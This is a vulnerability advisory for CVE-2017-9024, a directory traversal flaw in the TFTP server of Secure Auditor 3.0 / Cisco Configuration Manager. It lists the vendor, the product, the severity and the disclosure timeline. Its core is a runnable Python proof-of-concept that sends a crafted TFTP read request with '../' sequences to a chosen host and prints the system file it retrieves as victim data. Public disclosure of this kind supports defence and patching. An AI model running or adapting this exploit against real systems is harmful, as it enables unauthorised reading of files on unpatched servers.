Secure Auditor 3.0 Directory Traversal

`[+] Credits: John Page aka HYP3RLINX   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/SECURE-AUDITOR-v3.0-DIRECTORY-TRAVERSAL.txt  
[+] ISR: ApparitionSec   
  
  
  
Vendor:  
====================  
www.secure-bytes.com  
  
  
  
Product:  
=====================  
Secure Auditor - v3.0  
  
Secure Auditor suite is a unified digital risk management solution for conducting automated audits on Windows, Oracle and SQL databases  
and Cisco devices.  
  
  
  
Vulnerability Type:  
===================  
Directory Traversal  
  
  
  
CVE Reference:  
==============  
CVE-2017-9024  
  
  
  
Security Issue:  
================  
Secure Bytes Cisco Configuration Manager, as bundled in Secure Bytes Secure Cisco Auditor (SCA) 3.0, has a  
Directory Traversal issue in its TFTP Server, allowing attackers to read arbitrary files via ../ sequences in a pathname.  
  
  
  
  
Exploit/POC:  
=============  
import sys,socket  
  
print 'Secure Auditor v3.0 / Cisco Config Manager'  
print 'TFTP Directory Traversal Exploit'  
print 'Read ../../../../Windows/system.ini POC'  
print 'hyp3rlinx'  
  
HOST = raw_input("[IP]> ")  
FILE = '../../../../Windows/system.ini'   
PORT = 69   
  
PAYLOAD = "\x00\x01" #TFTP Read   
PAYLOAD += FILE+"\x00" #Read system.ini using directory traversal  
PAYLOAD += "netascii\x00" #TFTP Type  
  
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
s.sendto(PAYLOAD, (HOST, PORT))  
out = s.recv(1024)  
s.close()  
  
print "Victim Data located on : %s " %(HOST)  
print out.strip()  
  
  
  
Network Access:  
===============  
Remote  
  
  
  
  
Severity:  
=========  
High  
  
  
  
Disclosure Timeline:  
==================================  
Vendor Notification: May 10, 2017  
No replies  
May 20, 2017 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`